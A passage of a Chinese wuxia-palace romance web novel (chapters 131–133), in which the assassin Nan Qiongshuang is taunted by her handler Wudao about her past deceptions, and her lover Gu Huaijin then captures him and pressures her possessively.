四象塔布设简陋,平时两人都在时不觉清净,真走了一个,房间里霎时安静下来,静得人心里发空,浑身不自在。 她无所事事,许多天里终于得以穿好了衣裳,拢着衣领,趴在榻上看顾怀瑾走前给她留下的话本子。 一阵风来,她指尖书页颤了一瞬。 风落地,一双黑靴轻轻落地。 她缓缓抬起眼来。 雾刀:“南琼霜。” 雾刀的事,她面上不表,实际每个深夜都在心里揣度思忖。如今自己找上了门,她心里不知是恨怒还是轻松,没回头,晃着双腿笑了一下: “爬回来了?那一日他那一下子,给你伤得不轻哪。牙还全吗?” “你少笑话我。”雾刀两肩宽得像扁担,手朝她一指,“这些日子,你跟他都在塔上干了什么?!如实招来,我求门内从轻处置!” 她懒洋洋瞥了眼,拉好领口将满身的吻痕遮住,朝他笑:“我干了什么,最该清楚的,不是你么。怎么,这年头,玩忽职守,还有脸跟别人兴师问罪了?” “我知道你叛了。”雾刀笑起来,他嘴歪而薄,狞笑着的时候,露出一排小而细的犬牙,“当年,你跟这男的就没什么好鸟。现在再见面,早一股脑儿吐出来了。门内命我捉你回去,以叛门罪论处,你还不招!” 南琼霜懒得搭理。顾怀瑾走前给她留了一碟瓜子,一碟腰果,她剥瓜子剥得噼里啪啦,只是瞧着他笑。 雾刀:“还敢不认!” 她终于将掌心瓜子皮倒到空盘里去,撑着腮:“你呢,这种脑子,少跟我耍心眼。若是笃定我叛了,还招什么,直接拿了我不就得了。何况,”她笑着抬手,手腕下一根铁链,“我若是叛了,他关我做什么。” 雾刀暂时敛了装腔作势的爪牙,倚在柜边上下打量她。 “你这段时间去哪了。”她被他看得心里发毛。有人说,情欲有气味,他们日日在这房间中……雾刀狗鼻子,说不准真会嗅出些什么。 “艹。那天后来好不容易又追上你,也不敢上前。这男的现在怎么那么瘆人啊?我跟着你到了山前,差点他妈被门禁夹死,捡回一条命来上了山,发现找不着你。后来跟着那男的,才又找着了你,你竟然给关在塔上了。” 他嬉皮笑脸,“关在塔上,审你呢吧。怎么没看着什么伤啊。” “在身上。要看吗?” 极乐堂绝不准教引偷瞧她们的身子,怕见了便难以自持,细作与教引一同叛门,她故意拿着这点问。 她继续笑,“还不是因为你无能,跟丢了太久了,伤都好了。等到日后回了门内,暴露行踪是一条罪,跟丢我是一条罪,找到我又无法近前,又是一条罪。我们回去,好好算账。” 雾刀终于闭上了那张说她叛门的嘴。 “既然你来了,把我带走。”她伸出手腕,把两根铁链搁到他眼睛底下,“我早受不了了。皇上那边,毛琳妍在那,我急得坐不住。” 雾刀靠着柜子,歪着嘴笑,意味深长地打量她许久。 末了,走上前,在她身前的坚果碟里抓了一把,转过身去了窗边,四下观察窥望。 “没空。谁知道你打的什么算盘。” 她翻了个白眼。 雾刀,脑子不好,但直觉灵敏。想借这两根铁链拖他一时片刻,拖到顾怀瑾回来,还真不是容易的事。 “这几天呢,我俩都有错。”他挠挠头,涎着脸赔笑,“你跟那个男的天天在一块儿,谁知道都说些什么。我呢,也有错,跟丢了。姑奶奶,咱俩往后,各司其职,彼此安好,你不为难我,我不为难你,咱俩都好。” 她剥着瓜子,轻笑一声。 “我今天来呢,不是来找姑奶奶兴师问罪的。”他搓着手在她面前转圈圈,“鄙人想先去洛京等您。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-140 第131章 他这幅姿态,给她看得笑了,“洛京?为什么无量山上不跟了?” 雾刀不说话,赔笑。 “到了洛京,这男的不在你身边,我才能过来。反正你早晚也要回洛京,小的干脆到地方等您。”他笑眯眯,“您可千万别跟教引司说啊。” “我跟不 跟教引司说……”她噙着一丝笑,“要看你的表现。” “您瞅瞅,您说这话……多生分呐。”雾刀又往窗外上下瞥一眼,确认无事,走近来谄媚,“你跟这男的待了这么多天,究竟叛没叛,天知地知,你知他知。但门内呢,就信我一句话。您说说,何必给自己找麻烦。” “我究竟叛没叛,”她道,“门内多派几人跟他一阵子,自然清楚。何况,他若是得了内情,焉有不报复的道理。没来寻仇,就是没叛。”她食指朝他一指,“要我不同教引司讲,你拿什么来换。” 雾刀嘿嘿笑:“您说,您说。” “你去跟门内商榷,”她拄着腮,“说,顾止既然也在洛京,我会顺手将他杀了,以圆我当年第三个任务。问问审录司是否同意。” “好说,好说。”他搓着手转身往窗边走,此时正是黄昏,四象塔外千重山尽在一派金辉之中,他的背影夹在几根橙黄的光线里,走了两步。 忽而又顿住脚步。 他折回身来。 逆着光,她只看见他笑着,两排尖而细的牙,嗜血而狡诈: “眼下,那男的武功大进,若要杀他,没有教引能跟得了你了。” “主动要杀他,你什么意思。是觉得,我们教引跟你,跟烦了,甩不开?” 她一下将瓜子皮捏得刺进手指里。 “猪头。整日乱揣测!倒还不知是谁的过错捏在谁手里!”她将一把瓜子往盘中一摔,“既如此,你等着瞧好吧。等日后回了门内……” “姑奶奶您小点声!”他食指慌忙竖在唇间,嘘声,“塔底下全是人!” 她一把将干果盘狠狠摔在地上,咔擦一声碎响,碎片飞溅间,她抬起手来,食指逼点着他鼻子,眼睛一眨不眨。 良久。 雾刀屏息被她盯视着,终于缓缓收起了满口狞笑的牙。 “成。回头我问问审录司那帮人。至于肯不肯,就是他们的事了。” 他转身开始往外走,两手交叉抱在脑后: “不过,南琼霜,我愿意给你这个机会,也是念在你多年,兢兢业业,忠心耿耿,又冰雪聪明的份上。” “你是聪明人,想必,不会动不该动的那份心,做不该做的那份事。” “毕竟,你自己也晓得,从前天山上,多少是真,多少是假。他呢,即便是真情,又有多少是对楚皎皎,多少是对南琼霜,多少是对七乌香木。” “你见他第一面,便用了催情的毒木,耳环、发梳,甚至连指甲都用毒木染过。若无这些□□,他当年对你,还能剩下什么,还真不好说。若叫他知道……”他回头嬉笑,“你见他第一面,便对他下了□□,他会如何作想,就更不好说。” 她垂着眼眸,将榻上散落的瓜子皮屑一一捡起,面无表情。 “何况,你本人是什么脾气,又对他装出来个什么脾气,你自己明白。倘若他知道,你行事只求速取,为此能自伤自伤,能下药下药,能杀人杀人——” 他歪头一笑,“他那种装蒜脾气,不知要说什么。” 她毫无情绪抠着自己指腹,“说完了吗,说完滚。” “好久没见了,叙叙旧啊。”雾刀咯咯直笑,“你瞒着他的事可多着呢,不会忘了吧。当年,颂梅是谁杀的,阿松是怎么死的,姓李那小子偷了钥匙,是谁放他下山的,山火又是谁放的。你跟姓李那小子见第一面——” “闭嘴!” 她吼得双肩一震。 “你自己也清楚吧,外人再怎么艳羡极乐堂,说到底,极乐堂也是往生门内的窑子,你们是刺客中的妓女。妓女只要钱,不动情,若真谈情,就太好笑了。” 她骤然抬起眼,喘得发抖,瓜子皮扎进指腹,只剩半截。 他摊开手摇头,一副遗憾作态,“何况,妓女待客,还叫恩客呢。你们呐,以身侍人,到头来又杀之,比之青楼里那群婊子,更加是婊子,你这么聪明,总不至于以这种身份,去跟从前的目标纠缠不——” 一片叮当炸裂之声。 “给我闭嘴!”她声嘶力竭,地上瓷碟噼里啪啦碎溅一地,她伏起身子,拿着那本话本子卯力朝他一抡,大骂,“狗东西,血口喷人,找死!我今天非杀了你!” 塔底下传来黑衣侍卫一阵交谈攀墙之声,脚步声倏地由远及近蹿上来,“娘娘!” “告诉你塔底下有人,叫你小点声!”雾刀仓惶窜到窗口,恶狠狠往窗内啐了口痰,“我就知道,你果真叛了!出这招他妈阴我呢!小崽子,你竟然敢!?” 话音未落,人爬出窗外,看不见了。 南琼霜一个人在塔内,一双眼亮得铮然凄寒,眼底通红,从指尖到足踝细细地打着哆嗦,抖得几乎坐不起来。 良久,她闭上眼。 两行泪,汨汨自她睫毛底下颤抖着淌下来。 * “我听说有人上了塔。别人没这个本事,是那只苍蝇来过了?” 顾怀瑾甫一进来,便去窗外看了一圈,见确实没人,方绕过地上的碎瓷片瓜子皮,撩摆坐在榻边。 南琼霜坐在榻上,见他坐到身侧,垂眼将头偏向榻内,盯着衾被上的波浪纹。 “怎么了。”他伸手一下一下抚着她的背,“他伤你了?” 她声音恹恹:“没有。” “他又逼你做什么。”他笑,“杀我?” “没有。”她躲开他覆在自己背后的手掌,“先把地上收拾收拾。满地的瓜子皮,那个死东西,还在地上吐了口痰,我看了恶心。” 顾怀瑾走去窗边,往塔底下了令,一面冷笑着嗤了一声,“胆大包天的东西。只敢趁我不在,到你面前来撒野。他来干什么?” “要回洛京等我。你在这,他就跟不了我,说要直接回洛京。” 顾怀瑾到窗边木椅上落座,手里拿着桌上毛笔,在指间咻咻转着,一面笑,“还打着你的主意呢?怎么,回了洛京,我就收拾不了他了?” 她心烦意乱,靠在床头倚着脑袋,闭目养神。 “这就是那个雾刀?当年挑拨你我二人,最后逼你下手的那个?” 她皱了眉头,“嗯。” “如此,来了正好。前些日子,我打开封山门禁,还怕他跟不上来呢。不想,有点本事,自己找上门了。” 咔擦一声响,狼毫毛笔被他噙着笑单手折断,啪嗒两声掉在地上: “来了就别想走了。老熟人,远道来送死,安能叫他碰壁而归。” 他拍着掌中木屑,漫不经心一挑眉: “乖乖,你想他怎么死?” 南琼霜只是阖着眼,不说话。 “怎么了,乖乖。”他复又走来,坐在榻侧,手臂环过她的背将她揽过来,吻她的额角,“怎么不大说话。” 她依旧没回,静静地靠在他怀里,一呼一吸轻浅,垂睫出神。 雾刀那些话,不可怕。 可怕的是,她也觉得,有些地方,他说得对。 刺客中的妓女。以身侍人,而后杀之。 若这么说,她比刺客中的妓女还更可笑些,不仅侍奉到了床榻上,侍奉的,还不是当下的目标,是昔年旧敌。卖了身子,也讨不到好,抓着当年一点虚无的情爱没完没了,她焉知若没了七乌香木,他们之间还剩什么。 一直以来,她是不是太蠢了? 她简直不知道自己在做什么。 顾怀瑾调来的侍女一步步登上了石阶,脚步声自塔内狭窄幽深的廊道传上来,一声一声回响,终于到了石阶尽头,敲了门。 顾怀瑾:“进来。”一面揽着她的肩,抵着她额头相蹭,“乖乖,怎么了。” 她垂着眼仍没说话。 他叹息一声,被黑绸蒙住的鼻梁与她的鼻梁辗转磨蹭数下,唇下来寻她的双唇。 刚贴了一瞬,便被她推开。 他愣住了。 二三侍女列行垂首进来,人人不敢看榻上情景,皆刻意偏着头避过,沉默着各司其职。 她朝那些侍女努了努下巴,对他使个眼色,撇开他的手。 顾怀瑾什么也没说,坐直了身子,独自平心静气缓了许久。 最后,缓缓拿过她的手,扣在掌间摩挲着。 “都动作快点。收拾完,滚下去。” “他跟你说什么了。”他认真看她出神的神情,还是在她颊上吻了一下,轻声问,“那个狗东西气你了?” 她合上眼轻叹一声,顾忌着房间里的侍女,皱了皱眉。 “你今天去哪了。” “去了玉心石窟上刻心法。”他另一手,团团揉着她后腰,手指在她腰窝里打转: “无量心法难寻可承之人,上一任朱掌门找个传人,找了快五十年。他临终前,要我许诺,说务必将心法传下去。但我不能担保有生之年也能寻到这么一个人,于是想将心经刻在山上石窟中,不管有无传人,心法总可以传下去。” “你一天之内满山跑,这么赶,不怕出事么。”她摸着他的白玉扳指。 他笑:“心疼我了?”说完,又来贴她 的额头。 被她缩着肩膀躲开。 他僵着身子顿了一瞬。 半晌,朝打扫着的侍女偏头,不耐斥道:“动作快点,收拾完了没有。” 她急急道:“那口痰给我好好拖一下。恶心死了。” 顾怀瑾凉凉笑了一声,“真是张狂。不把他的狗嘴撬开,牙一颗颗打掉,全身筋抽出来给你做把琴,算我无量山待客不周。” 戾气逼人的话,听得南琼霜愣了一下。 这些日子整日缠绵,天天相对着说情话,她还以为他与当年并无太大的变化,谁知,他对旁人,竟然是这幅样子。 确实,不全是当年天山上那个人了。 顾怀瑾见她一愣,登时有些发虚,回首一瞥,侍女们刚巧打扫完毕默默列行退下,他搂着她等人全出去,脚步声刚在石阶上响起,便将人按在床围子上,俯首吻了下去。 “乖乖,”他将绸带解下来,露出一双蝶翼般的睫毛,一手托住她后脑,唇上品吮着,含着她的唇珠,“我说这种话,吓到你了么。” 吓到我? 她阖着眼,不免笑了。 他越阴厉,他们就越像。 从前那副光风霁月的君子模样,她虽然也爱,但毕竟与她本性相差太远,若非有任务在身,她根本不敢接近,怕相形见绌。 “别怕我,乖乖。”他吮着她唇瓣,愈发进去缠她软软的舌,“我这一面不对你。只是他欺负你,我才狠些。” 她恍惚想起方才还觉得不该再纠缠,一颗心绞痛着沉下去一半,另一半,却还是放纵自己去迎他的吻。 “别骂我。上回你那两个侍女……你竟然因为那两个往生门的骂我。”他一边说话,一边啄她的唇畔。 这话听得她笑了起来,“怎么这么委屈呢。” “我杀了他,你让么。”他不依不饶地从唇往下吻,啄她的颈侧,“他在山上,跑不了。” 杀了雾刀? 她被吻得朦胧旖旎的眸子,顿时清明一瞬,双睫一颤,抬起眼来。 第132章 杀了雾刀。 这件事情,她不是没想过。 倘若真杀了,自然是大快人心,即便她仍是不得自由,但胸口多年的郁气,至少还得以舒展一口。 可是。 事情只怕没有这么简单。 倘若雾刀死了,最好的方法是她即刻出无量山,趁着无人监看,天高路远,从此自由自在,随意去留。 但是,假如她不能出无量山,而回了洛京。 那么,雾刀死或不死,根本没区别。 洛京有那么多往生门的同僚,光菡萏宫内,就有清涟和远香,大明宫外,有墨角,紫禁城外,又有公孙红。抛开紫禁城,洛京街上,说不定又有多少往生门的眼线——一国之都,天子脚下,所有能人,全聚集在一座城里。 人人都想跑,往生门内,何人不求自由。光她一个没有教引,其他人容许么? 不需多久,她没有教引的事,便会被同僚上报往生门。 她不仅会有新的教引,还要一道一道往门内禀报情况,解释缘由,说不定还会被中途提审,押回来解释四象塔上的一切。 只要不能自无量山径直脱身,雾刀死了,便是后患无穷。 她搂着他的背脊,手覆到他脸侧,容他吻着自己脖颈,一面摸着他的脸: “如果杀了他,我最好撇下这一切,直接逃走。从此,做天地间一尾鱼,谁也找不着我。” 她捧着他的脸,轻轻问: “你让么?” 顾怀瑾自她颈窝里抬起头来,一双过分漂亮的清泉般的眼睛,镜子般倒映出她的脸孔。 渐渐地,他眸底洇旋起一些浓墨般癫而戾的痴气,那些痴气又被他巧妙掩在一贯的克敛雅隽后,勾了勾唇,半阖着眼到她唇上温柔落吻: “乖乖,你做梦。” 声音轻得,仿佛哄她。 果然。 她无奈笑笑,阖上眼迎着他的亲吻。 分别五年,重逢才几日,这个回答,她不动脑子也猜得到。 但凡她说想走,哪怕只是提一嘴,他就会吻得格外凶些,逐渐将人按倒在榻上,压着她,推高她的下巴含她的舌。 她被他拥在怀里按在身下,只得抱着他的背脊囫囵受着,仰着头,渐渐颈椎都受得酸了。 不止是唇被含着。眼下他似乎对她整个人都有欲.望,边吮边缠,不肯放过。 她紧抓着他背后的衣衫,抓得他衣裳一团皱褶,脑子里澎湃的汹涌的浪,一波高过一波。 却好似忽然在激烈的浪声里,听见了什么。 无比熟悉、无比清楚、极其不祥。 一阵狞笑,锯齿般的牙: “——南琼霜。” 南琼霜骤然睁开眼,放开他的唇,惊喘连连。 “怎么了?”顾怀瑾略撑起身子,看着她。 她凝神谛听了片刻。 声音却又没了。 她吞咽了一下,抓住他胳膊,急望着他:“雾刀在不在?” “谁?” “雾刀。就是那个……” “不在。”他斩钉截铁,曲着指节刮她的脸颊,“这么怕他?” “真不在?”她抓着他胳膊摇了两下,“你再仔细瞧瞧。” 他依言阖上眼感觉了片刻,仍然是一片空茫茫,睁开眼,见身下人一脸惊惧疑切,难免心疼,大拇指摩挲着她脸侧,“没有。” 她倏地松了一口气。 他温声哄她:“别怕,我在这呢。”懒懒笑了一声,“不过一条狗。” 她尽力平复胸中的疑惧,缓了许久,仍是觉得危而又危。 “你怕成这样……那么,抓到就宰了。”他去吻她鼻尖,“免得你害怕。” “别杀。杀了麻烦反而多了。” 她推开他,坐起来。 即便方才那一瞬,只是她的错觉,她也无心再吻下去了。 “那么,抓了便拷打。”他见她害怕,仍然将她搂在 怀里,哄孩子似的拍着她后背,“好生聊聊当年之事。” …… 南琼霜垂下头,只感觉心里一片地方,越来越凉,冰得她五体麻痹,筋脉扭结,缓缓抓紧了身下床单。 聊聊。 聊什么。 雾刀会把所有事全说出来。 第一次见面,她便对他用了催情的毒木。此后几乎每一天,她都将那些七乌香木制的耳环和发梳戴在身上,他日日夜夜闻着香木的气息,很快便对她动了情。 为了讨他心疼,她自导自演过无数回。她是一个为了勾.引男人不惜自伤的女人,为使所求之人对她动心,什么都肯做。 为了达成她的目的,她做过不少事。杀过颂梅、阿松因她而死,为了拿到阴阳钥,纵容宋瑶洁放火烧山且替她保密,顾怀瑾至今还蒙在鼓里。 她忽然想起,他说那个劫船来接她的同僚的话——“行事残酷无道,他们有什么信用。” 是啊,“行事残酷无道”。 但是,她也是一个“能下药下药,能杀人杀人”的人,她跟她的同僚,有什么区别? 唯一的区别,不过是——他尚未发现这一点,而已。 遑论,当年李玄白窃走阴阳钥,她明知他是窃贼,却亲自放他出了山。 遑论,她见李玄白第一面,就主动上去吻了他。 ——即便他能宽宥她被往生门逼着做的所有事,她对李玄白的那个主动的、轻浮的、完全意在勾.引的吻,他也绝不可能宽宥。 倘若他得知全部的实情,他们就完了,真的完了。 她感到一种后知后觉的难堪。 她做攻心刺客多年,从未觉得自己是什么“刺客中的妓女”。大多数时候,她毋需以身侍人,相处几日,他们便任由她驱驰。 可是,自从爱上他以后,她似乎刺客不是刺客,妓女不是妓女,良民不是良民。 若说刺客,她手软了;若说妓女,她动情了;若说良民,她偏偏又是个“刺客中的妓女”。 千不该万不该碰了情爱,到头来,将自己落入了一个不三不四的境地。良民是早已做不成,刺客原本做得好好的,现如今,却连刺客都做不成了。 她缓缓地捂住脸,“不必了,别抓他。放他走吧。” 只要雾刀在,顾怀瑾就可能得知一切。 还不如让他走。 “放他走?” 他垂首,见她面上神色如风吹流云般匆匆急变,偏着头,仔细分辨她的情绪: “怎么了,乖乖?” “没事。”她冰凉的手将他推开,如今他一认真看她,她就不自在,仿佛马上要被他看透了似的,顷刻就收回手捂住脸,“我们什么时候回洛京。” 回洛京吧。回洛京,她不会整日在他身边,他就难以有机会接触雾刀,她从前的事,就会永远埋在雾刀肚子里了。 何况。 她瞒过他太多事情。她的过去,她的个性,他了解得实在太少了。 一份爱,掺杂了这么多阴谋与隐瞒,真的能算爱吗。倘若他甚至从未认识过她,他的爱,真的能算爱吗。 或许,她不该再在这种情爱里沉沦下去了。 “回洛京?”他道,“怎么忽然这么想回洛京?” 他将人往怀里搂了搂,却被她一把挣开,她避开他的眼睛道,“早就该回去了。皇上来了那么多封诏令,再不回去,就是抗命了。” 他牵着她的手,大拇指爱怜在她手背上抚摸了再抚摸,垂下眼,没说话。 “皇上近些日子,确实催得急。” 良久,他终于开口,叹气: “我今日起了一卦,确实是该回去的日子了,拖不得。再不回去,恐怕会触怒天颜。今早发上无量山的诏令,几乎在字里行间威胁,说要调亲军到山前迎接。言下之意,我们二人不出山,亲军便一直在山门等候。” “虽说大抵是皇上心急激愤之言,但言已至此,已经没什么余地。再拖下去,恐怕对你我都不好。” 他俯低身子,从下往上小心看她恹恹颓然的脸孔,伸出手在她脸上摸着,轻轻问她: “我们,你打算怎么办?” 这个问题,她也在心中斟酌过许久,始终没有一个妥帖的定论。 她答不上。 “你呢,打算怎么办。”她不去看他,摸了摸他的手,睫毛颤了两下。 顾怀瑾闻言,弓低身子抬头凝望她的眼睛,眼里两点灼灼的光,良久,轻声道: “我放不开。” “怀瑾。”她望进他眼睛里,被他眼底那种痴色惊得怔了一下,“我回宫,就是宫妃。我同皇上……” “我知道你是做戏。即便答应了我‘再想想’,一时半会也脱不开。”他指腹轻轻在她脸颊抚过,将她颊侧落下的碎发挽到耳后去,“我明白的。” “那么,我得同他……”她皱了眉头,后面的话,连自己都难以出口。 刺客中的妓女。 “你不……你不吃醋?” 顾怀瑾笑了,脸色发白,盯了她半晌,手指轻轻去摸她的眉毛:“你说呢。” 她心烦意乱地闭了闭眼。 他是什么脾气。从前天山上,她同李玄白多说两句话,他就受不了。 “那你……” “我可以忍。” 他答应得太干脆,一时听得她怔住了。 他一双潋滟桃花眼半阖起来,屋里夜已深了,点着烛火,他眼里映出两颗橙黄的火星,炽热灼灼,仿佛将那眼眸里一贯的冷潭水都点燃了: “是我不放你出山,是我强求你回洛京。所以,你继续做你不得不做的事,这没什么。” 他两只手从她腰间环上她背后,缓缓收紧,头埋进她颈窝里依恋嗅着: “只要,你多哄哄我,我就好了。” 她在他怀里,一阵鼻酸,几乎落下泪来。 顾怀瑾因为爱她,受了无数的委屈。 她欠他的,这辈子也还不清了。 “那么,我若要取皇上性命,”她两只手从他腋下穿过,摸着他宽厚的背,“你……” “我不管。”他笑了,玩着她后背的长发,“他并不是个做人君的材料。” 她被他拥在怀里,一时默然。 良久,长长叹了一口气。 假如他允许她堂而皇之地与嘉庆帝做戏,且打算对她的任务袖手旁观,那么,即便出了四象塔,她也未必非跟他分开不可。 只要,能够掩人耳目。 她有意不去想雾刀的话,轻轻仰起头去吻他的喉结,“那么,我们不必一拍两散,像如今这般,也并无不可。” 他听着她这话,方才肺腑之内一直吊着的一口气,终于松懈了下来。 “好。”他笑起来,“那就先如此。今日发上山的诏令,命我们五日内赶回。我先派人安排车马。不论如何,你我还有五日时光……” 他话放轻了,迷离着眼凑近来,呼吸拂在她面中,小动物般与她鼻尖相蹭:“还有五日……我们……” “你省省。”她拢好衣领,“今天真不要了。一天天的,没完没了……” “那你说,回了洛京,还怎么……”他又将她放倒在衾被里。 门忽然被叩了两声。 她慌忙推开他,坐起身来,拉好衣裳。 侍女垂首端着托盘进来,托盘上一只青花白瓷碗,恭恭敬敬奉到她面前。 她一看那碗,顿时一个字也没有。 山楂冰圆子。 第133章 顾怀瑾笑着将那只碗端到她眼皮底下,舀起一勺,喂到她嘴边: “不必为了一个狗东西发火。乖乖,消消气。” 她什么也说不出来,心里乱成一团麻,抿紧唇,偏开头。 是她太傻了吧。 南琼霜这个名字,他刚刚知道了十几天。即便已经做到了最后一步,现在言爱,也太早了。 答案就放在眼前,她自己假装看不见。 她……或许已经错了太久了。 “刚巧我有令牌。皇上忌惮摄政王,恐深夜生变,特许我自由出入宫禁。我可以常常去见你……” “别来。”她一口打断,“那是紫禁城,你一个臣子,怎么好来特意见我?” 她不留情面的口气,听得他愣了一下: “不是去你的菡萏宫。皇上凡事都指望我陪着,我去他身边,刚好就可以见到你。” “见到我又怎样?” 他不明白她何以忽然咄咄逼人:“……不怎样。我没说要怎样,只是想见见你。若是没人,可以跟你说会话。” “宫里哪里有没人的地方。”她躲开那一勺山楂,“别来。我们本就……” “本就什么。” “我们本就……”她带点恼怒,与他对视一眼,才见他也冷了神色,她话又断了,“我们本就……” 他不语,凉凉看她半晌。 末了,将瓷勺往碗边一搁,清脆的叮一声,他偏头将那碗冰圆子放到一旁,“霜儿先说吧。哪些事你容许我做,哪些事不容。哪些事你觉得无妨,哪些事算我纠缠。” 她缓缓将身下床单揪在手里,掐入掌心。 纠缠。 他用这个词,她心里也痛。 但是…… 她或许早已忘了自己的初心,忘了从前的南琼霜,忘乎所以得太久了。 她道:“我们……面上和私下,都不要见了。私底下有雾刀盯着,面上有整个紫禁城的人盯着。即便两人因故碰面,最好也假装不识,站都站远些。” “站都不要站一起?”他去拉她的手,却被她躲开,“何至于此。即便是避嫌,未免也矫枉过正了。” “站都不要站一起,话也不要说。”她道,“皇上本就有疯症,何必惹他。” “若如此,”他抬起头望她,“你我与断了又有什么区别。” 心酸的眼神,几乎将她看痛了。 她无法回答,偏开脸。 “别这样。”他两手将她捧着腰揽过来,一边与她贴着脸磨蹭着,一边柔声哄,“我容你在我面前演戏,已是不易。你若是连见都不肯见我,”他吻着她耳垂,叹息,“ ……我怎么办。” “怀瑾。”他刚欲再往下落吻,忽而被她一把推开,她道,“别再见了。紫禁城人多眼杂,对两人都不好。” “怎么了。”他望着她,只觉她方才还亲切熟悉,忽然就变了一副陌生神色,疏离得令他不敢认,“不是方才还说,不必断掉。” “我仔细想了一下。紫禁城不比别处,一朝行差踏错,何止自己要搭进去,连我身后的清河谢氏,和你的无量山,都难以保全。”她无法直视他的眼睛,“不过是两人情爱,不必拿这么多东西冒险。” “‘不过是两人情爱’?”他缓缓直起身子,看进她眼底,“我又没有当真要你冒险。不过是想见见你,说说话。你怎么就能同他说话,还湖上泛舟?” 那天,他果然看见了。 南琼霜轻叹一声,收回被他拉进掌中摩挲的手。 他愣住了,忽而笑起来,“怎么,如今连碰也不准碰了。” “不要过多接触,对我们都好。”她道,“即便相见,也不要对视,连话也不要说。除非皇上吩咐,否则,不要有任何交集。” 他含笑盯视着她,“对。然后,你就可以跟他湖上私会,宫宴上一同谈笑,他被皇上用剑指着,你还要去替他解围。” 她一时无话可答,忽然细腕上缠了一只手,用力之大几乎叫她吃痛,她刚想拨开,那只手不由分说向上抓紧了她胳膊,将她一寸一寸,扯到他眼前。 “没有。”她望着他那双黑茫茫的眼睛,心里咯噔一下,“我对他半点心动也没有。” 他眼神沉沉,摇了摇头。 半晌,一丝怒意也无,温温柔柔又不容反抗地将她强揽入怀里,“不行。”声音轻轻,一根食指竖在她唇间:“我说,不行。” 睫毛黑沉沉压着,那双眼,晦暗阴郁,幽深怨戾,看着她。 仿佛深渊。 “怀瑾……” 他当真不一样了。从前的他,怎么会有这样森森的眼神。 “做梦。”他凑近,她忽而感觉双唇被他含进了唇间,他那双黑白分明的眸子倒映着她错愕的脸,半阖下来,“你别想了,乖乖。” “我会去找你。想做的时候会做。你躲我也没用。不管在哪。” “皇上?我何曾惧过他。自称一句臣,不过赏他两分薄面。他若不招惹我,我保他的皇位。他若坏我的好事,夺我想要的人,别怪我拿他饲虎作乐。乖乖,你要晓得——” 他睁开眼,眼里一丝旋墨般的迷恋,黑而旖旎: “——我容你同他做戏,愿意看着你们卿卿我我,不是惧怕他,而是惯着你。” “所以,乖乖也别太得寸进尺了。”他轻轻在她唇上啜吻,“好么。” 她被他覆在背后的手掌按得又贴进了他怀里,任她如何推,也推不开,刚喘了两下,他又循着她颈侧落吻,密密地往下啄,剥开了她的领子。 “怀瑾……!” “还有,乖乖。”他一面吻,一面剥,半睁开眼睨她,“你今日不对。那只死苍蝇,还跟你说什么了?” “只说了要回洛京等我……”她又被他按在了榻上,忽而两手被交叉着扣住,高举过头,“你别……还有几天就回宫了!” “除了这句,还有呢。”他埋首进她怀里吻着,不管她如何哄劝也不顾,“还说什么了。又逼着你做什么事?” “没有逼我做什么。你等一下……!” “你不说,便是他威胁你,不准对我说。”他道,“是不是。” 若是,还好了。 雾刀的话,她此生都不希望顾怀瑾听见。不是雾刀不准她说——而是她自己,死也不想说。 “你方才说,不准我杀他,是为什么。” “事情没有那样简单。往生门各部各司其职,相互制衡,他忽然死了,后面一大堆麻烦事——” 他在纷杂吻痕之间又吮出几团红痕,“那么,我抓着了,给你留个活口回来,你喜欢么。” “你别!”她惊慌睁开眼,“别去找他!放他走吧,别留他在这了。” “怎么,你这么怕他。”他笑了一声,“当年天山之祸,我怨你只有一分,恨他九分。他来了我无量山上,放走?” 他替她将衣领合拢了,倏地披衣起身,玄黑长衣鼓扬起来又飘然委地,衣摆的暗金刺绣丝缕流光,“即便是你替他求情,这条畜生,我今日也必不可能放走。” “乖乖,你在塔上,若得闲,给他挑条链子吧。”他系好了绸带,回身一哂,“免得日后做你的狗,拘束不了,惹你烦心。” 顾止走了。 南琼霜独自一人躺在榻上,从未如此忧心忡忡。 雾刀,到底跑了没有。 倘若他被顾怀瑾抓住,即便不死,也要受一番惨无人道的酷刑。 雾刀那个人,虽说忠于往生门,但更加忠于自己。只要顾怀瑾刑用得重,重到他认为叛门也不过如此,他定然什么都说了。 甚至,可能还不需拷打。只要他察觉了她对顾怀瑾的那点情意,那么,单纯为使她美梦破灭,他也愿意说。 如果雾刀真落到了顾止手里,什么都完了。 她在榻上翻了个身,闭上眼睛。 不过,她带点自虐般的快意,想,他得知一切,未尝不是好事。 危楼一般的爱。根基不稳,半真半假,夹杂着太多蒙骗和隐瞒。或许,这种爱,本也要有破灭的一天。 如果早晚也要破灭,不如趁尚未酿成大错,早日结束。 她侧躺在枕上,手揪着胸前衣襟,只觉胸中血管牵连着心脏,一扯一扯地痛。 四象塔内,夜深了。 整个夜里,她竖着耳朵听塔底下的动静,草木皆兵风声鹤唳地等了半夜,几回误听见他要塔下侍卫开门的声音,一骨碌坐起来,抱着被子等了半天,才知是听错。 提心吊胆地等了不知多久,终于倒在衾被中,睡着了。 天蒙蒙亮的时候,她睁开眼。 窗外晨光熹微 ,时辰还太早,天青得生涩,几根金光捅破晨雾,映得无量山千重峰一片茫茫金辉。 窗下,木椅上坐了一个人。缚着绸带,静静斟茶。 她心里突地一跳,仿佛行走在悬崖边的人,一瞬踩空,终于坠了崖,一阵胃酸。 “怀瑾。” “嗯。”他声音倒是温煦如常,“醒了?” 神色太体贴,声音也好脾性得过分,她愈发七上八下,不知是他一贯的那种温柔,还是风暴前不善的宁静。 她推开衾被,缓缓坐起身,听见自己心脏嗵嗵直跳。 坐起来,才看见,地上扔着一个巨山般的大块头,手被扭绞着剪在身后,浑身绑着胳膊粗的铁链,缠得跟只蛹一般,脸着地,气息奄奄地阖着眼。 “这么大一头畜生,一直跟在你身边,我竟然不曾发觉。”他吹着杯中热气,水汽蒸腾起来,掩住他晦暗不明的脸,“真不明白我当年在干什么。” “他……” 他对你说了什么?你现在又知道多少? 她没敢问,垂下眼,静静等他说话。 “不过,他善于潜伏,却没什么内力。”他拈着茶盖刮茶杯,“似乎是只能躲,不能打。怎么回事?” 她盯着地上死狗一般的人,捏紧了膝上衾被,张了张口,最终还是沉默。 当着雾刀的面,她如何敢说。即便他晕着…… 即便他晕着,她也怕。 她咬了咬唇,“你把他挪出去。他在我面前,我……我说不了。” 他有点诧异:“他几乎气绝,你还是怕?” 她挣扎着摇摇头,往床榻深处缩了缩。 顾怀瑾长叹一声,搁下茶碗,修长的手伸去窗外,啪一下,打了个响指。 